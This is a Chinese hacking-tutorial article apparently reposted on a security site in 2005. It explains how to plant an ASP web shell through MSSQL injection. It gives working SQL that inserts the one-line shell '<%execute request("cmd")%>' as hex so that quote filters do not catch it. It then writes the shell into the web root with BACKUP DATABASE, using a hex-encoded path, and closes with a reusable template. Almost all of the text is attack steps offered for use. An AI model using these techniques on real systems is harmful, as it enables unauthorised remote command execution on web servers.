| Mssql Backup a Shell 突破特殊字符 |
|
| 作者:佚名 来源:安全在线
更新时间:2005-3-18 【字体:小
大】 |
|
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论 阅读提示:
1.插入数据
mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如" '等。我们先mssql分析器里"查询":
use pubs; <===使用数据哭pubs create table cmd (str image); <===建立个表cmd 一个属性为image的列 insert into cmd (str) values ('<%execute request("cmd")&""%>') <===插入数据为 <%execute request("cmd")&""%> select * from cmd; <===查询输出cmd里的所有数据
查询输出str为: 0x3C256578656375746520726571756573742822636D642229262222253E
我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码:
use pubs create table cmd (str image) insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E) select * from cmd
查询输出str为: 0x3C256578656375746520726571756573742822636D642229262222253E
什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有' " &等等。
2.导出路径
常规的插入数据后导出webshell的语句为:
backup database model to disk='g:\wwwtest\l.asp';
显然导出路径里包涵了' : \等,我们照样可以使用hex编码来突破:
declare @a sysname select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370为g:\wwwtest\l.asp对应的hex代码 backup database pubs to disk=@a
运行查询,可以成功导出webshell。
3.小结:
结合1,2我们可以得到完整的导出webshell的sql语句格式为:
use model create table cmd (str image) insert into cmd(str) values(0x***********) declare @a sysname select @a=0x********** backup database pubs to disk=@a;
其实使用hex等编码的方法,在angel的文章〈饶过'(单引号)限制继续射入〉里提过,我只是照搬而已,你也可以搬到其他地方去拉:).
4.查考文章:
《饶过'(单引号)限制继续射入》http://www.4ngel.net/article/14.htm 《在MSSQL下实现Backup a shell》http://safer.cnwill.com/show.php?id=469 转hex脚本(aschex.pl) http://www.4ngel.net/project/aschex.txt
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力 |
| 文章录入:ls1238 责任编辑:ls1238
|
|
上一篇文章: sqlserver取得网站路径的几种方法以及比较
下一篇文章: 站内搜索的漏洞 |
| 【字体:小
大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
|